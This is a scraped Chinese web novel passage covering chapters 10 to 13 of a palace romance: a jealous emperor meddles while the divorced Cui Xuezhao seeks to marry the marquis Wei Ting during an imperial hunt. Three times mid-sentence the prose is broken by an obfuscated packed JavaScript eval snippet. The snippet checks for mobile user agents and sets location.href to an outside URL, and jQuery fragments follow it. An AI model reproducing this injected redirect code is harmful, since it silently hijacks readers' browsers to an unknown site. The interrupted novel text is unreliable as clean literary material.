乾元帝稍满意些:“这是崔卿家的两位女儿,正好来了,彼此打声招呼吧。” “两位姑娘安好。” “安勇侯安好。” “魏大人安好。” 崔雪朝矜持地抿唇浅笑,柔丽的面容因一笑刹那灼灼夺目。 魏亭莫名脸红,心虚地眨眨眼睛不敢多看她。 陛下说崔家长女是对自己有意才会请他指点箭术....真的吗? 近在咫尺的两人眉眼似蜻蜓点水般触碰,乾元帝忍住波澜的怒气。 昨日的乾元帝是为臣下不通情窍而主动创造机会的乾元帝,今日的乾元帝是为臣下略懂情意而心生怒意的乾元帝。 乾元帝目光森冷,想起幼时被祖父横抢溺死在眼前的狸奴,呼吸微紧,一时口不择言:“魏亭昨日大宴输了箭筹,两位姑娘怕是都瞧见了吧?” 崔氏两女不知他何意,慎而又慎地垂眸不语。 只觉得这声音冷得挂了冰碴,方才还温和细语如沐春风,怎么一转眼就如此,像是什么人开罪了他? “你们给他面子,朕却得为他解释一番。他箭术不行,枪也学得一般,差事办得马马虎虎,但胜在忠心,朕不愿旁人小瞧了他。” 童公公听得胆寒,究竟是抬脸还是明褒暗贬呢? 崔雪朝不知是不是自己听错了,总觉得这位陛下话里话外不像表面听起来那般在给安勇侯维护? 而且,是错觉吗?帝王的目光如山落在她身上,崔雪朝被盯得头皮发麻,脖颈后无意露出的肌肤莫名热得发燥。 “臣谢陛下为臣美言。臣深知武艺不出众,往后定当勤勉。” 乾元帝深吸一口气,方寸之间,众人又兢兢战战,他太明白自己铁腕并不适合显露在姑娘家面前。 朕知晓她的心意,秀女选很快结束,他只是想等到那时候再表态罢了,崔雪朝就不能耐心一些吗? 他自诩不是个拈酸的小心眼。 崔雪朝大约是一时被魏亭那张脸给哄了。 不能怪她。 思及此,又觉得自己小题大做。 崔雪朝不过是稍稍外露对他的爱慕,自己怎就如此牵动心肠? 他看着崔雪朝渐行渐远的背影,凝眉深思。 论样貌,呵,她...确实很合他眼缘,自己生得眉眼冷厉,数年征战越发森寒,便越发不喜欢如高氏女那般娇艳的,俗不可耐。 论家世,呵,崔家不输高家太多。 论性情,沉淡如渊静处可爱,慎独高洁,不欺暗室。 论生平...有过一段婚缘是什么不可饶恕的大事吗?她的性情自然该有一番阅世。 突然,乾元帝眼眸凝定。 她走起路来怎么屁股一扭一扭的? 袁望像只圈地为王的恶狼迅速逡巡一圈,见无人盯着崔家长女,这才放心。 便是朕在这里护着,也不该这般放心吧! 又想崔雪朝这番举动若是故意给他看,心尖上一簇簇地冒火。 冷静片刻,“崔卿教女有方,朕心甚悦,明日是巡猎最后一日,特允安勇侯与崔氏女随驾而行。” 山林狩猎信马由缰,持弓飞箭,届时崔雪朝必然能看到魏亭除了脸一无是处。 恭敬地退下高台,如芒在背,崔雪朝后背沁出一层细密的汗。 灯影绰约,美人垂眸,魏亭看她颦眉:“陛下威重,只在政事之间,你不必这般紧张。” 前朝混沌,新帝若没有雷霆手段,如何能有今日的海宴太平?只是心里敬佩帝王,却不会有亲之爱之的念头。 崔雪朝不敢侧目,唇边却抿起弯弯的笑弧:“大人为人谦逊,陛下很看重您呢。” 魏亭却有些摸不着头脑。 陛下对他寄予厚望,常会苛责训诫,过后又指点他该如何办差。似今日他只是舞了枪没回话,陛下就不高兴了。真是奇怪。 “君在上,臣民在下,只求不会辜负陛下厚望。” 因这话,崔雪朝看他一眼,魏亭亦回眸,相视一笑。 魏亭看她走远,鼓鼓脸颊,一回头瞧见魏老夫人眼巴巴望着这处,那殷切盼孙媳妇的眼神,瞬间吹得魏亭脸燥。 “大哥,你喜欢那位姑娘吗?她是哪家的,几岁了?” 魏亭:“崔家,西陵崔家的贵女,年岁未问过。” 至于喜欢不喜欢,他抿了抿唇:“陛下觉得她对我有些好感。” 陛下觉得?这孩子提及男女之情,总是蛮憨。 魏老夫人是农村老妇一朝翻身成了望京的人上人,骨子里对城中人家畏惧:“看她与你说话时总笑着,眼窝里亮晶晶的,不像个挑剔的尖儿。阿豆,你多跟人家处处,得时机也与她老子娘说句话。若是瞧不上咱们,可不得委屈了自己。” 魏亭说是。 说起崔家的门第,他还有些混沌。 上了心,自然要多方打听。 崔大人旧朝为奸佞构陷入狱,侥幸活命,带着妻女南下。 后来几年居于外埠,崔夫人亡于难产,现在崔府后院的女主人是个侧房,是原配的堂家阿妹。至于崔家长女... “前朝时西陵崔氏之女与淮西辜氏之女并称玉京双姝,以闺阁之范的名头在西游博川开过一家女学。末帝登基,那位淮西女进宫不足一日便悬了梁。听闻崔氏女南下途中匆匆嫁了一户商贾。” “陛下大选,不知礼部哪个昏头货想讨好崔次辅,把和离后的崔氏女提了上去。” “旁家女子清白之身,只是出身偏低。这位流于乱世,正经人家再不拘小节也怕陈年旧故。” “落选做个宫室领事姑姑,亦或陛下不忘崔家,作配某个四五品的闲官,不外如是。” 这些话是魏老夫人从旁家夫人那里打听到,转给孙儿听,见他不语,担忧道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398470|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “乱年世道,谁家没个心酸的事儿。阿豆,咱家不会看不起这位崔姑娘,你若是喜欢想娶人家做妻子,心里不能哽着刺儿,一定得想清楚!” 魏亭忆起崔家姑娘与他说话时含蓄三分羞涩的眉眼,跟魏老夫人说自己只会心疼魏家姑娘的经历,绝不会嫌弃她! 巡猎最后一日 昨夜陛下御言准允女子随行,口子一松,汤泉宫的秀女们与家中兄弟姊妹们一起入林。 猎场内的气氛比之前两日热闹许多,偶有惊喜欢呼之音顺风刮来,崔雪朝轻轻驱策马腹,只是闲散地走动,不曾奔猎。 虽是陛下旨意允许崔氏女随行,但护卫内监等加起来足有百十来号人,她在其中并不分明,落在后边,意趣地看着林中草木。 身侧过来一人,魏亭递来一支女弓,“这是我昨日寻来的,你试试手感。” 崔雪朝作势用力拉了一下,可惜只浅浅弯了一点弧度:“我力气不大,怕是扰了大人兴致。” “无碍,正好我箭术不佳,争不过其他人。” 两人索性下马,齐肩走着,看看能不能撞运遇上落单的猎物。 不说话气氛古怪,魏亭冥思苦想,“听说你嫁过人?” 崔雪朝驻足看他,故作的羞容淡去,“大人很介怀我曾婚嫁的经历?” 魏亭说不是,“只是好奇。” 这就有些不知分寸了。 若他们真有来日,知根知底生出夫妻情分,前尘往事在胡榻间成了温情的缘头。目下只匆匆几面,却这般刺人难堪,细究起来,未必不是拒绝自己。 她总觉得似他这般好拿捏些,如此看来,直来直去的性情能一肘 把自己顶出二里外。 “我十六投了河东军,从一小兵做起。攻王都时,有一簇死士埋伏在宫城夹道意图对陛下不利,我恰好为陛下挡了一箭,这才得封侯爵。” 魏亭在佳人目光下语调越来越低,“我说这些,不是为了炫耀,只想告诉你,生死走过...”你嫁过人,并非很要紧的事情。 可惜最重要的话刚在嘴边,就被一道如雷蹄声踏得稀碎。 二人同时回头。 飞箭入林,隐有振翅落下的声音。 乾元帝一马当先冲至眼前,魏亭收起神色,恭敬拱手问礼:“臣去为陛下寻回猎物。” 崔雪朝隐约猜测魏亭方才是要同自己说什么,正要跟着一并离去,只是利落下马的乾元帝一个轻淡的目光投来,顿时僵住不敢动了。 “你磨磨蹭蹭落在最后,是为了跟魏亭说话?” 崔雪朝自然不会说是:“臣女只是不擅骑射,不敢驰缰以免冲撞陛下。” 碎叶窸窣不停,陛下冲她走来,崔雪朝越发垂下脑袋不敢乱看。 袁望巴巴杵到她身边,眼睛不经意盯上她桃圆的腚,急忙错开眼:“你站直身子说话。” “是。” “总是太忙不曾与你说话。” 他忖了下语气,缓声道:“心不要太急。” 崔雪朝一头雾水,思绪转了下,恍然大悟,陛下是看明白她对魏亭的打算,有意来提点自己。 “臣女记下了。”或许会赐婚?赐婚好呀,有陛下赐婚的体面,她进魏家会少许多闲言碎语。 沉默几许 又听见君音清越:“你怎么不看朕?” 这是她能看的吗? 崔雪朝顶着错综心跳漫漫向上看去。 昨夜高台帝威深寒,她总怕一不小心犯天颜被捆成蹄膀,故而没看清帝王的尊容。 此番看清了,心口一窒。 太过锋芒外现的一张脸,耳畔突然响起某位秀女嘀咕过的话,河东袁氏祖上曾和胡部融过血,后代的男子均承几分驯气。 他亦是俊美的,非雅韵的风流,眉心至鼻尖孤高似壁,横添犀利与凶横,眼睛长而狭是标致的丹凤眼,直勾勾看着你时,侵略气和压迫感到了极致,带着刻薄寡恩的锋利。 “朕好看吗?” 崔雪朝慌神敛下视线:“陛下恕罪,臣女无意冒犯......” 嘚嘚蹄声又起,崔荷欢呼雀跃的身影出现在长林斜道上。 袁望有些不甘心,“你还没回朕的问话呢。朕这副长相,你觉得好看吗?” “臣女...” “陛下,臣寻到猎物了!!!” 魏亭的声音就在两步之外。 “陛下,臣女猎到一只山狐!” 瞧瞧瞧瞧,乾元帝看着一左一右的两人,凤眸中的温情消散如烟,“多般配的一对璧人。” 11. 第 11 章 活泼可爱的崔荷欢呼雀跃地提着一只狐狸跑过来,“陛下,臣女猎到一只山狐!” 魏亭亦是举起手中犹在挣动的野鹿:“陛下,您方才射中了一只雄鹿。” 乾元帝道一句赏。 崔荷激动地俯身谢恩,山狐肥硕一只,她精准地射中了脖颈,闻着血腥却在陛下面前显露本事,且皮毛剥落能制一副绯艳的围脖呢。 乾元帝无视她谄媚,心思游离在一侧又凑到一块的两人身上,看魏亭比划着手,羞涩又得意地讲述自己如何在林中寻到负伤的雄鹿,那模样真叫人厌恶。 眼神一偏,再看崔雪朝满目温柔地仰着头,耐心地听对方叭叭叭说个没完,心底的不满越发浓重。 猎物交予宫人,崔荷看见那只雄健的鹿,不由惊叹:“您看这鹿的角,多锋利多可怕呀。入林不过须臾,陛下您不费吹灰之力便猎到如此高雄的猎物,箭术真是高超!” 乾元帝这才正看她一眼,原来这不稳重的货还有几分用处,于是微扬声线,“你说什么,朕方才没听清。” 崔荷羞答答地红了脸,又把夸耀陛下的话,大声地说了一次。 崔雪朝和魏亭果然回眸看了过来。 乾元帝稍满意,正要说什么,却见魏亭那小子格外嚣张,竟然比手引着崔雪朝要走。 他轻咳一声,喊了一声魏侯,“入林这么久,你可有收获?” 魏亭羞愧地摇头:“臣不曾有所获。” 看吧,他什么都没有,跟着魏亭能得着什么好。 乾元帝大度道:“不必灰心,继续努力吧。” “臣遵命。” 话落,魏亭迟疑地看几眼崔雪朝,本来他打算和崔家姑娘好好说几句话的,若一切稳妥,把阿奶叮嘱他的话一五一十地告知对方,若魏家姑娘对他有意,那就该照着流程准备提亲的。 只是陛下高坐马上,威严的眼神直直望着自己,魏亭只好翻身上马,跟上帝王驰猎的脚步。 临去时,乾元帝深深地望了一眼立在翠绿林间的姑娘,可惜她不肯在人前亲近自己,只是避而垂眸。 乌泱泱一团转瞬消失在林间,崔荷今日猎到东西,又在陛下面前展现过自己不同于其他娇柔女流的飒爽,心满意足地踏上归途。 崔雪朝听她叽叽喳喳说了一路自己如何勇猛地狩猎,只觉耳中嗡嗡不休,好容易出了猎场,躲清闲地避到帐中喝茶。 坐了不足半刻,听嗡然大钟响彻长原,日中到了。 流水般的食盘摆上长案,崔雪朝没什么胃口,吃了一小盘樱桃酥山,几勺槐叶冷淘饭,正盘算着是不是回汤泉宫歇觉,听见有人轻唤自己。 抬眼望去,怔了一瞬,急忙撑着站起给对方行礼:“夫人安好。” 妇人生得宽善相貌,说不必多礼,示意崔雪朝坐好,自己也寻了近处的蒲团坐下:“入苑的那日远远瞧见你了,总想与你说说话,可惜不得瑕。”眼神悠悠落在长案上,露出笑意:“这么大的人了,怎么还是跟少时一般贪吃凉物?若是婷娘还在......” 婷娘是崔雪朝母亲的名讳。 妇人话提一半,忽得哽住,“是我失言了。” 崔雪朝说没事,看她眼眶泛红,知道是想起了前程往事,抿出一道笑意:“阿娘的坟在外埠,约莫端午就能迁回望京,您若是还记着她,让底下的人送经卷来,我帮您念给她听。” 妇人欸了下,见这孩子行事举止沉稳老练,心疼她的经历,又想起亡了的长女:“云霞的长生灯供在了尘寺,我清明时去看她,听庙里师父说你去过,难为你刚回京就去见她。” 辜云霞和崔雪朝自幼时便在一块,拜同一位女师,连及笄礼都合办在一处,两人合力开了西游博川女学,貌与才双绝,是旧时王朝璀璨又颓靡下的姝绝。 末帝临朝,辜云霞被掳入云台,当夜悬梁自尽,辜家为保女儿尸首,辞去御史台职务。 “新帝复了你阿叔的职务,我也回了望京。” 辜夫人擦擦眼角的泪珠,“听闻你归京却避居京郊,本想得空去找你,只是天意难测,你入了采选的册,一耽搁到今日才见你。你可好?在宫中没人为难你吧?” 崔雪朝吸下鼻子,遏制住失态,不敢看辜夫人关切的眼,只盯着长案笑了笑:“最难过的日子都熬过去了,眼下这些不算什么。” “我见过你父亲那位侧夫人。” 辜夫人道:“若是有难处,凭咱们旧日的交情,你不必怕我为难,只遣派人来我家中。千难万难,有我替你出气!” 她和崔雪朝的母亲情如姐妹,可惜时运多艰,无法并济难关,打听到对方竟是难产至死,对崔家的侧夫人自然印象不妙。 崔雪朝好比在她膝下长大,在辜夫人眼中算半个亲生的,夫君复位,虽比不上崔举的次辅荣光,却也有几分人脉,不畏惧给崔雪朝撑腰。 崔雪朝呢,领情是一回事,自己还不到求助外援的地步。 “只是若哪一日出嫁,我想请夫人来做簪客。” 女子出嫁的簪客,一般是亲生母亲来。 女儿家乌云鬓发盘妇人发髻,往后要做他家妻妇,母亲做这第一个簪头的人,意在为女儿送嫁,盼孩子婚后幸福美满。 辜夫人自然满口应下,两人说了不久,一道燕似的影子远远喊着阿娘投到辜夫人怀中,气咻咻道:“阿娘,我讨厌魏盈!” 辜夫人抚着女儿的发苞,温声宽慰几句,又跟崔雪朝介绍:“这是云霞的妹妹云缨。”扯了女儿问礼:“这是崔家的大姑娘,你唤她一声阿朝姐姐。” 小姑娘羞怯地唤了一声姐姐。 崔雪朝看她与记忆中姐妹几分相似的容颜,摘下发髻上的绿眼石宝簪递过去:“姐姐今日出门没预备好礼,这个簪子就拿着玩吧。” 小姑娘看一眼母亲,见母亲点头才喜滋滋地收下礼物。 辜夫人慈爱地看着幼女:“云缨,你小时候可喜欢阿朝姐姐了。一岁时阿朝姐姐抱你,你还尿湿她一件软烟罗的披帛,害得她哭了好久,还是你云霞姐姐赔了她一匹才算。” 辜云缨半大姑娘知道羞了,捂着阿娘不准她说自己的丑事,过半晌团坐在一旁,见阿朝姐姐行云流水像画上仕女般制茶,呼地眼睛一亮:“姐姐房中悬着的秋游图,抱着狸猫玩线团的姐姐是你!” 崔雪朝想想,依稀记得那副画,于是点头。 小姑娘没长心眼,语出惊人:“我阿哥常盯着你的画看呢!” 辜夫人道不可胡说,见崔雪朝神情不变地继续碾茶,解释起来:“云生是在看他妹妹罢了。” 辜云生... 算算年纪,他应该二十九了,那年她及笄,云霞和她对坐描着烈焰红唇,嘴一张像能吃人,也如云缨一般语出惊人:“阿朝,及笄礼后,我阿兄来下聘,你看可行?” 家道流离,末帝残暴,崔家落败,辜家自身难保,她知道不能,却不得已求到辜家门上。 刚失去女儿的辜夫人大病不起,辜大人辞官,辜家愁云惨淡,辜云生红着眼眶站在门上,“阿朝,是我对不起你,可我真的没有办法。” 为保门庭,辜云生选择尚主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398471|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,末帝疼爱不已的妹妹端秀公主。 一别多年,崔雪朝其实早就忘了与辜云生那段算不上恒久的爱,只道:“云生阿兄可好?” 辜夫人笑容艰涩:“他和那位公主....群主...”前朝亡了,公主退荣成郡主,“两人日子过得还好,有个五岁的女孩,名唤明月。行路颠簸且身份尴尬,不曾来上林苑。往后有机会,我引荐她给你。” 崔雪朝道好,再多的不必说。 大帐热闹,尤其秀女们和官眷子女混在一块嘻嘻哈哈,显得崔雪朝一人扎在末席有些格格不入。 辜夫人看几眼人群中乐不可支的崔荷,悄声道:“听闻陛下有意濯选她做贵妃。” 崔雪朝一顿,顺着辜夫人视线看去,“她明朗娇媚,又有崔家在后,意料之中。” “只是记名在你母亲名下的,却沾了好大的光。” 辜夫人很是不平:“一朝得道,鸡犬升天。前两天你家那位侧夫人还被人排挤,如今那些女眷们倒不嫌脸疼,又热乎乎地凑上去攀姐姐妹妹的交情了。” “听说你父亲要扶正她了?” 崔雪朝直起身子,“她自己说的?” “倒没直说,不过隐晦地说了几句。崔大人只一子,出自她名下。你母亲不在不能扶为嗣子,除了正她夫人之位,还能有什么办法?她的女儿封于后宫,崔大人自然会锦上添花。” 辜夫人见她面色不对,有心问几句,恰时内监者唱喏,陛下巡猎归营,一时按捺住话头。 魏亭没心眼子地提着一只长灰耳的肉兔子,步撵步跟到大帐,身上衣衫让活泛的兔子腿踹了好些灰泥印子,忍着不耐烦栓好递到妹妹魏盈手里,警告道:“说好的兔子给你捉来了,回头养在家里,别再去阿奶那儿告状!” 那厢乾元帝志得意满地往大帐虎步,身后内监十好几个,或抬或举着棍拴悬满满的猎物,声势浩大地为帝王助阵。 臣下恭维之声如海浪,乾元帝换过充盈汗气的衣衫,再出现在众人面前,又是威慑铁血的君主。 只是随口应几句,眼珠子总是往大帐末端的倩影去看,遗憾她过分谨慎,总自谦过头不肯往人前坐,又想起自己在林中告知她‘不要心急’,会不会惹来误会? 狩猎间隙,魏亭那小子矫健的身影总在眼前,三十多岁的帝王突然惶恐,以他这样的年纪作配崔雪朝,会不会被嫌弃是老牛吃嫩草呢? 可惜上晌林间蔽日,不知她有没有看清自己的长相? 胡思乱想着,忽而见她抬眸,眼神执拗地望着某处。 又在看谁?只猎到一只灰兔子的魏亭嘛? 刚起的酸涩尚没翻成怒气,看清她是在凝视着被秀女们围在中间的崔家二女,袁望一下慌了神。 方才在林间,崔家二女似乎对他献出好大的殷勤,那时他是不是忘了推拒? 等等... 乾元帝思绪一转,生出一种拨云见雾的喜悦。 怪不得离开前,她不肯抬头看朕。 怪不得朕在跟前,她却和魏亭笑个没完。 呵呵呵,小女子手腕,崔雪朝莫不会以为朕很在意吧? 一帐之外,那巴掌大的小脸上布满迷茫和无措,乾元帝的心肠又拧紧了。 是他不对,独断乾坤的帝王不该总在小女儿情事上让她伤心! 那崔家二女实在可恶,虽是无心,却阴差阳错地为他们的爱使绊子。正好她性情跳脱又喜欢骑马射箭,与魏亭真是作配。 乾元帝在无人知晓处,默默决定选秀之后,就为这对佳偶赐婚! 12. 第 12 章 崔雪朝望向人群中的崔荷和赵柔娘。 女儿挽着母亲的手臂,被人群簇拥在中间,想是受了恭维,再三克制眼角眉梢全是恣意欢欣。一向不肯屈居人后的高二姑娘这时也挂着得体又别扭的神情不曾给崔荷眼色看。 她心下迷茫,为父亲将来如何抉择而痛苦。 那年母亲崩逝,父亲在灵前起誓此生只有阿娘一个妻子。 事随时移,父亲身居高位,崔鼎一日日长成,当日的痛誓还算数吗? 她该如何维护母亲死后的尊荣呢? 许是察觉到她的伤怀,辜夫人宽慰道:“总会有那么一回的。今日有那位侧夫人,侧夫人抬举不起来,你父亲总得续弦。幸好你将来嫁人,不必困在那院子里锥心。” 崔雪朝懵着眼看桌台。 若父亲亡去,母亲必会为他守节至死的。 辜夫人望眼帝座,见自己丈夫也在那边围着贺新帝的威风,不由地讷讷:“一朝天子一朝臣,爷们顶着假笑去陪就罢了,可怜你过往多艰,竟还得进宫由人挑选。” “由人选,也由你选。不说那些丧气话,这些日子你可有相中的好儿郎,说出来我给你参谋参谋。” 崔雪朝眼睛里的怅茫暂时隐去,露出不惊动风月的一点笑:“安勇侯甚好。” 小小的辜云缨撅起嘴:“魏盈坏得很,她哥哥肯定也不好,阿朝姐姐你不要选他!” 辜夫人拧下幼女小脸,打发她去乳母那边,想想随着新帝入望京的新贵们,可堪般配的不过几人,“年纪来说,也就他合适些。” “魏家老夫人不常凑在女眷堆里玩笑,想来是自觉身份不配,怕人笑话。听闻是个厉中有善的人,光看魏家几个叔伯不曾留在侯府,便知那是个懂分寸的。” 崔雪朝点点头,“明日就要归京,今晚落定,两家好有成算些。” 辜夫人笑呵呵的,仿佛喜事就在眼前了:“等你出阁,我上门做簪客,到时云霞和你娘在天上瞧着,必然欢喜。” 她们这头闲话,乾元帝自然看在眼中,他给童公公一个眼色,不拘半刻钟,崔雪朝与辜夫人说了哪些私密话便一五一十地上达天听。 乾元帝脑子一瞬间懵得抽搐了下,扶着额角失神地坐在御座上。 案前还放着批阅一半的奏折,只是那字那句全都颠倒乱飞,成了一个个‘崔雪朝相中魏亭,要跟他成婚’! “她大胆!” 童公公心攥成一团,从小宫人转话起便不敢抬头,直到此时才说陛下息怒。 “朕待她...” 乾元帝握紧拳头,想说自己待她那么好! 只是话卡在嗓子眼,说不下去。 不过是赏了吃食给了衣衫和首饰,还不是单单给她一人的,这能说得上是好吗? 所以朕是被抛弃了吗? 乾元帝深吸口气说让魏亭来回话。 好女百家求的道理,袁望是知晓的。 崔雪朝娴静端庄,无人青眼,那就是全望京的男子都瞎了眼。 他心里后悔,今日入林,或许崔雪朝是在等着他表态,他呢,迟迟不肯给人家姑娘一个准话,又有高二和崔二两个痴人搅局。 懊之恼之,一切杂乱的思绪全在魏亭身影出现的那一刻收回暗处。 “不知陛下有何要事吩咐臣下?” “没事朕就不能喊你来吗?” 乾元帝阴阳怪气,撒了小火,又克制住君王沉稳的印象:“唤你来,是想问问你是如何看待崔家姑娘的。” 他刻意含糊了称谓,不说崔家大姑娘还是二姑娘,眼底蓄着不怀好意等他开口。 “回陛下” 魏亭摸了摸鼻头,抿出一点羞涩:“臣家中长辈很喜欢她。” 可曾问过人家姑娘的意思?八竿子没一撇,他竟肥胆引荐给家中! “那你自己呢?” 魏亭说我也喜欢。 那么好的姑娘,你的喜欢能多过朕吗? 乾元帝看不下去他眉宇间的喜悦:“西陵崔氏旧时虽为末帝清算,到底树大根深。崔大人当年为不牵连崔家避祸于外埠,家中姑娘吃了不少苦头,你太过年轻莽撞,朕怕你与人家处不来。” “处得来处得来。” 魏亭憨然一笑:“陛下不是曾提点微臣,说崔家姑娘请臣教她箭术,是对臣有意嘛。臣起初不信,后来与她见过几次,才知陛下真是深谋远见!” 难得促一回爱情却促出大错的乾元帝丧气不已:“你是打定主意了?” 魏亭坚定点头。 乾元帝挥手让他退下,心说此事怕是不能如魏亭的愿。 他并非爱争抢之人,只是崔雪朝最开始相中的便是自己,他的迟疑辜负了姑娘的爱,乃是人间憾事,不能看着憾事一步步再继续下去。 纵目远眺,见魏亭不稳重地小跑到场中,那里宫人内监来回穿梭,正为晚上的天狩大宴铺排装点。 有小子们捶丸射艺,好些姑娘们围在附近看得手舞足蹈,其中自然有崔家长女的身影。 云层悠闲地缓缓移动遮蔽住炽热的阳光,乾元帝感受着冰鉴带起的凉风气不打一处来。 连老天爷都不会看眼色! “让内监去送凉饮子,别把朕的臣民们给渴坏了。” 童公公唱喏告退,不一会儿就有宫人端着饮盘送到高台下。 崔雪朝抿了好几口酸梅饮,见魏亭直直看着自己,眨眨眼:“你也想喝?” 魏亭轻咳一下,说自己不喝这些甜滋滋的东西,“你也少喝,贪凉容易拉肚子。” 多诚挚又扫兴的一句话,心底刚培养出来的腼腆噗地灭了。 也不是什么不能容忍的毛病,崔雪朝又挂起乖巧:“陛下传你是有要事吗?” 提及这个,魏亭的脸突然泛起红意,“没有要事,只是说了几句闲话。” 崔雪朝纳罕看他。 魏亭受不住姑娘家执拗的目光,只好择了其中一点漏给她:“陛下提醒我,说你过去嫁过人,怕我把握不住跟你相处的分寸。” 这话瞬间凉了崔雪朝的心。 什么意思?是在提点魏亭这位新朝臣子要和自己保持距离吗? 下意识回眸望向高台,只是守备森严,重重帐帷虽撩起,内里深不可测,让人望而生畏。 她有些沮丧,和离过的人生就算有了污点吗? 她以为天子自民间而来,解救万民于水火,破例不曾裁落自己的秀女身份,应是个不拘小节的人。原来不是呀,也对,帝王高居庙堂之上,尊荣御极,眼里自然容不下有瑕疵的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398472|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那你是如何回的?” 她不抱希望地问道。 魏亭未留意到一句话带起多少暗潮,只是一味地羞涩:“我说你很好,我家中长亲也很喜欢你。” 真是柳暗花明的一句安心话。 崔雪朝正欲说起两人之后落定的局面,眼风微动,瞥见崔荷引着乌泱泱一群秀女朝这儿过来,只好按捺:“宫宴过半,魏大人若是无事,可愿与我同去月湖亭台?听宫人说那里种着一颗绣绒树,这时节开得繁盛。” 魏亭满口应下,再后来要说什么,可惜崔家二姑娘叽叽喳喳地过来了,两人只得笑别。 宫人送了凉饮,又带着颇为紧要的消息赶赴高台。 童公公听了急忙把话送到御前。 “今晚要约在何处见面?” “今晚宴中,魏大人邀崔家长女在月湖见面。”童公公很会善意描补故事的细节之处,这时绝对不能说是崔姑娘主动邀请! 月湖,人约黄昏后,灯影阑珊,俊才佳人蔓回廊亭,波泠的湖泛着柔软的波水一如女儿家娇俏不可名言的心事。 他们会说什么?月下倩影美丽得不可方物,他们会不会情难自禁避开侍卫宫人躲到角楼暗处偷偷摸摸地搂搂抱抱?搂搂抱抱够吗?只搂搂抱抱,魏亭那狂徒能满足吗? 乾元帝动怒掷了御笔,内监宫人们哗啦啦跪了满地,请陛下息怒。 “她竟敢答应!” 在宫里时施展手段勾得自己瞩目,自己稍有松懈,一出宫,她就敢跟别的男子相约看树? 是朕太骄纵她了! 这气从下晌蔓延至宫宴上。 御前的人心惊胆战紧着皮伺候,近御的几位中台臣子亦是惶恐中摸不着头脑,不知是哪里办错了差事,还是陛下得了什么消息要摘哪个旧臣的脑袋。 童公公不知陛下今夜是何打算,往秀女们的位置眺了人几眼,立时便知不妙。 想是崔家大姑娘要做安勇侯夫人的心很坚定,一改从前素雅,今夜穿戴格外明艳。 麴胜头戴以麻布塑形外贴裹发丝、饰彩绘云纹剪纸的义髻;身着浅褐宝花葡萄纹绮衣;所穿裙装尤见风致,内衬的是一腰葡萄石榴缬纹红裙,外罩的则是一腰浅绛纱长裙,轻笼于红裙之上。纱料极轻薄,色彩明丽的红裙晕染出轻柔娇美的娉婷韵致。 最紧要的是胸前勒出的可比深谷的白与美!哪个男人见了不眼热? 也是,赴男子的约,如何能不打扮漂亮呢? 陛下显然也注意到崔家长女的不同,不带感情的眼底已然有了雷霆气势。错目往男席看,魏亭那赛比胭脂的脸颊,狼子野心昭然若揭! 袁望想起祖父教导他‘见素抱朴,少私寡欲’*。 若真少私寡欲,他夺这江山做什么?合该落发烫戒做个清心寡欲的和尚就是。 “去传朕旨意,让魏亭连夜归京,替朕督办京西铁矿一案。” 童公公不敢慢待,拔腿就去传话,甚至很有眼色地拦了安勇侯给崔家大姑娘传话的扈从。 “陛下,崔家大姑娘尚不知魏大人离去一事,您看是不是让宫人给她带句话,也省得崔大姑娘白白跑一趟。” “她既精心赴约,朕岂能让她扫兴?” 声如寒谭,轻易不敢揣摩其深意。 13. 第 13 章 宴酣正上,崔雪朝借口更衣,与宫人前后退出大殿。 游廊弯折,纷纷人语乐鸣渐渐低落,顺着宫灯一路往月湖方向走,偶尔有侍卫守备,再无其他干扰。 入了夜的月湖卷风起,她紧紧披帛,不自在地调下胸口的系带。 今夜一番盛装打扮,是她刻意为之。好些年不曾穿得这样鲜艳,起初有些不适,慢慢从容,心说为成就一桩满意的婚事,些许讨好手段在所难免。 廊亭临水,悬挂四角羊铃宫灯,天上月水中天,回溯来处不见人影,大约宫席不好脱身得再等片刻,于是坐定,静静听初夏的风掠过湖面,暂得暇趣。 某一刹那回过神来,似乎宴处又起了一重宫戏,她不由愣怔,怎么还不来? 嘀咕着,突然视野里有一高大的黑影往这边走来。 崔雪朝站起身,长裙缎绫柔光似水与她面容挂上的温柔相映成美,揣揣深袖的物什,确保无虞。 人近了,他提着灯不曾带随从,崔雪朝想想暂未退去宫人,毕竟私会,万一有个什么人过来,只他们两人传出去怕不好听。 那厢乾元帝遣散内监侍卫,自提着昏黄小灯,眼神寂寒地一步步靠近等在湖心亭的纤纤身影。 她等在廊亭入口的台阶上,咫尺之近,似乎明白此时相见是何等的不恰,细长的颈弯折成动人的月弧,胸口浸润了月光比雪还白得惊艳。 “大人来了。” 就连说话的语调都成了最甜滋滋的糖果子。 